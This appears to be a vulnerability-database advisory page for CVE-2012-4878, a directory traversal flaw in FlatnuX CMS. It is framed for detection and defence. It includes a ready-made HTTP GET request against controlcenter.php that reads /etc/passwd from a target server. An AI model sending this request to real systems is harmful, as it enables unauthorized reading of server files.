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CVE-2012-4878: FlatnuX CMS - Directory Traversal

TitleFlatnuX CMS - Directory Traversal
Authordaffainfo
SeverityMedium
ImpactAn attacker can read or modify sensitive files on the server, potentially leading to unauthorized accessand data leakage.
RemediationApply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FlatnuX CMS.
CVSS Score5
EPSS Score0.14501
CVE IDCVE-2012-4878
CWE IDCWE-22
Tags cve cve2012 lfi traversal edb packetstorm flatnux xss vuln

🔍 Vulnerability Description

A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.

🌐 HTTP Request

GET /controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-4878.yaml

🦈 Packet Capture: ⬇️ Download cve-2012-4878.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A